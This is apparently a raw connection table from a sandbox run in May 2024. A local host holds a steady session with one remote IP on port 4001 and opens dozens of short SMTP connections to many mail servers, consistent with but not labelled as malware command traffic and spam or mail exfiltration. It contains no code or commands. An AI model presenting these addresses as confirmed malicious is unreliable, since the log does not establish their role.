May 19, 2024 17:27:41.377641916 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:41.377650976 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:41.377885103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.380559921 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:41.382966042 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:41.383074045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.387547970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.387557983 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:41.387662888 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.387662888 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.388464928 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:41.388514042 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:41.388559103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.388559103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.389718056 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:41.389806032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.389806032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.391208887 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:41.391220093 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:41.391324997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.391756058 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:41.396341085 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.396348953 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.396730900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.396730900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.396811962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.396811962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.402143002 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.402151108 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.402595043 CEST	49853	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:41.402699947 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:41.402975082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.402975082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.403130054 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:41.403537989 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:41.403692961 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:41.403805017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.403805017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.405014038 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:41.405109882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.405109882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.406976938 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:41.407115936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.407162905 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:41.407423019 CEST	49855	465	192.168.2.4	104.21.63.171
May 19, 2024 17:27:41.411798954 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.411808014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.411814928 CEST	587	49853	99.83.253.192	192.168.2.4
May 19, 2024 17:27:41.411822081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.411828995 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:41.411995888 CEST	49853	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:41.412025928 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:41.412269115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.412269115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.416757107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.416764975 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.421612978 CEST	465	49855	104.21.63.171	192.168.2.4
May 19, 2024 17:27:41.421634912 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:41.421794891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.421794891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.421816111 CEST	49855	465	192.168.2.4	104.21.63.171
May 19, 2024 17:27:41.426809072 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.427357912 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:41.427907944 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:41.432187080 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.448905945 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:41.449029922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.449029922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.449356079 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:41.449449062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.449449062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.449729919 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:41.450619936 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:41.450715065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.450715065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.453938961 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:41.453948975 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:41.454049110 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:41.454195023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.458899021 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.458906889 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.463658094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.474242926 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:41.479326963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.479335070 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.480154037 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.480226994 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:41.481014013 CEST	49856	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:41.484997034 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:41.485204935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.485327005 CEST	49857	587	192.168.2.4	3.18.7.81
May 19, 2024 17:27:41.489984989 CEST	49809	587	192.168.2.4	62.116.169.204
May 19, 2024 17:27:41.490061998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.490259886 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.491352081 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:41.491362095 CEST	587	49856	64.59.136.142	192.168.2.4
May 19, 2024 17:27:41.491430998 CEST	49856	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:41.491590023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.492175102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.492175102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.493551970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.493551970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.495301008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.500160933 CEST	587	49857	3.18.7.81	192.168.2.4
May 19, 2024 17:27:41.500195980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.500211000 CEST	587	49809	62.116.169.204	192.168.2.4
May 19, 2024 17:27:41.500222921 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.500235081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.500374079 CEST	49809	587	192.168.2.4	62.116.169.204
May 19, 2024 17:27:41.500387907 CEST	49857	587	192.168.2.4	3.18.7.81
May 19, 2024 17:27:41.500442982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.504947901 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.506535053 CEST	49858	465	192.168.2.4	34.174.160.103
May 19, 2024 17:27:41.510292053 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:41.511029959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.511399031 CEST	49859	587	192.168.2.4	62.149.188.200
May 19, 2024 17:27:41.516374111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.516720057 CEST	49860	587	192.168.2.4	79.143.126.202
May 19, 2024 17:27:41.521119118 CEST	465	49858	34.174.160.103	192.168.2.4
May 19, 2024 17:27:41.521152973 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:41.521239042 CEST	49858	465	192.168.2.4	34.174.160.103
May 19, 2024 17:27:41.521682978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.521727085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.526124001 CEST	587	49859	62.149.188.200	192.168.2.4
May 19, 2024 17:27:41.526207924 CEST	49859	587	192.168.2.4	62.149.188.200
May 19, 2024 17:27:41.526427984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.531004906 CEST	587	49860	79.143.126.202	192.168.2.4
May 19, 2024 17:27:41.531069994 CEST	49860	587	192.168.2.4	79.143.126.202
May 19, 2024 17:27:41.531256914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.535861969 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.536629915 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:41.539936066 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:41.540582895 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:41.540705919 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:41.540779114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.540779114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.541883945 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:41.541949987 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:41.542020082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.546662092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.551445961 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.552292109 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:41.557116985 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.557368040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.557395935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.588053942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.588053942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.592725039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.592828989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.592870951 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:41.593400955 CEST	49861	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:41.593848944 CEST	49862	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:41.597620010 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.602632999 CEST	587	49817	195.130.132.10	192.168.2.4
May 19, 2024 17:27:41.623316050 CEST	587	49861	194.153.145.104	192.168.2.4
May 19, 2024 17:27:41.623347998 CEST	587	49862	193.201.172.98	192.168.2.4
May 19, 2024 17:27:41.623375893 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.623378038 CEST	49861	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:41.623404980 CEST	49862	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:41.623435974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.623462915 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:41.623485088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.623621941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.623650074 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.623672962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.623909950 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:41.628379107 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:41.633367062 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:41.633474112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.638184071 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:41.638211966 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.638240099 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:41.638336897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.643011093 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:41.643040895 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.643069983 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:41.643070936 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:41.643107891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.643138885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.643161058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.648093939 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.653784990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.677481890 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:41.677488089 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:41.683115959 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:41.683161974 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:41.683434010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.683583021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.688354015 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:41.688678980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.692881107 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:41.693017006 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.693928003 CEST	49865	587	192.168.2.4	187.108.195.38
May 19, 2024 17:27:41.697977066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.698009014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.698072910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.698123932 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.698518991 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:41.698643923 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:41.699199915 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.699484110 CEST	49867	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:41.699812889 CEST	49868	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:41.703030109 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.703151941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.708096027 CEST	587	49865	187.108.195.38	192.168.2.4
May 19, 2024 17:27:41.708187103 CEST	49865	587	192.168.2.4	187.108.195.38
May 19, 2024 17:27:41.708224058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.712928057 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.712958097 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.713026047 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:41.713053942 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.713083982 CEST	587	49867	142.93.237.125	192.168.2.4
May 19, 2024 17:27:41.713095903 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:41.713113070 CEST	587	49868	194.158.122.55	192.168.2.4
May 19, 2024 17:27:41.713143110 CEST	49867	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:41.713164091 CEST	49868	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:41.713197947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.713227034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.713255882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.717817068 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.717935085 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:41.718018055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.718112946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.718137026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.718390942 CEST	49869	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:41.718414068 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:41.723545074 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.724149942 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:41.724817038 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:41.728776932 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.733644962 CEST	587	49869	3.125.131.179	192.168.2.4
May 19, 2024 17:27:41.733711004 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:41.733769894 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:41.733813047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.733845949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.733860970 CEST	49869	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:41.739784956 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:41.748229027 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:41.752821922 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.755389929 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.757628918 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:41.757715940 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:41.757771015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.762590885 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.762696028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.771115065 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:41.795234919 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.795478106 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:41.796089888 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:41.797100067 CEST	49872	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:41.797228098 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.797521114 CEST	49874	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:41.797816992 CEST	49875	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:41.797950029 CEST	49876	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:41.799978018 CEST	587	49817	195.130.132.10	192.168.2.4
May 19, 2024 17:27:41.800091982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.805197001 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:41.809932947 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:41.809966087 CEST	587	49872	104.18.2.81	192.168.2.4
May 19, 2024 17:27:41.809995890 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.810025930 CEST	587	49874	199.85.66.2	192.168.2.4
May 19, 2024 17:27:41.810064077 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.810050964 CEST	49872	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:41.810096025 CEST	587	49875	104.22.65.144	192.168.2.4
May 19, 2024 17:27:41.810132980 CEST	587	49876	117.50.20.113	192.168.2.4
May 19, 2024 17:27:41.810148001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.810162067 CEST	49874	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:41.810174942 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:41.810177088 CEST	49875	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:41.810189962 CEST	49876	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:41.810287952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.810309887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.810348034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.810365915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.810415983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.810893059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.810925007 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.811034918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.811034918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.815650940 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.815711021 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.815751076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.818034887 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.820458889 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.820493937 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.820522070 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.820580959 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.820580959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.820581913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.820632935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.825203896 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.831708908 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.831737041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.849159956 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:41.854008913 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.854073048 CEST	465	49799	180.222.13.3	192.168.2.4
May 19, 2024 17:27:41.854162931 CEST	49799	465	192.168.2.4	180.222.13.3
May 19, 2024 17:27:41.854248047 CEST	49799	465	192.168.2.4	180.222.13.3
May 19, 2024 17:27:41.854284048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.854661942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.854737997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.863993883 CEST	49877	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:41.864790916 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:41.868737936 CEST	465	49799	180.222.13.3	192.168.2.4
May 19, 2024 17:27:41.873713017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.873763084 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.909395933 CEST	587	49877	90.161.91.233	192.168.2.4
May 19, 2024 17:27:41.909430027 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:41.909521103 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.909548998 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.909554958 CEST	49877	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:41.909578085 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:41.909579992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.909634113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.909658909 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.910145044 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:41.910882950 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.911010027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.911039114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.911317110 CEST	49878	587	192.168.2.4	178.128.251.242
May 19, 2024 17:27:41.913660049 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.913959980 CEST	49880	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:41.914128065 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.914405107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.923157930 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:41.923192024 CEST	587	49878	178.128.251.242	192.168.2.4
May 19, 2024 17:27:41.923221111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.923258066 CEST	49878	587	192.168.2.4	178.128.251.242
May 19, 2024 17:27:41.923377991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.928126097 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.928157091 CEST	587	49880	104.18.2.81	192.168.2.4
May 19, 2024 17:27:41.928209066 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.928236008 CEST	49880	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:41.928270102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.928364038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.933289051 CEST	49881	587	192.168.2.4	104.27.157.70
May 19, 2024 17:27:41.933341980 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:41.937686920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.942426920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.943649054 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:41.948556900 CEST	587	49881	104.27.157.70	192.168.2.4
May 19, 2024 17:27:41.948589087 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:41.948625088 CEST	49881	587	192.168.2.4	104.27.157.70
May 19, 2024 17:27:41.948649883 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:41.948685884 CEST	49734	4001	192.168.2.4	212.162.153.199
